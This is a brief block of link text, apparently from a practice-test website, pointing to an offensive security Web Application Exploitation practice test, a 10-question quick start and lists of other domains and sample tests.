Other Offensive Security Domains
Start the free offensive security Web Application Exploitation practice test now | 10-question quick start | All offensive security domains | All Sample Tests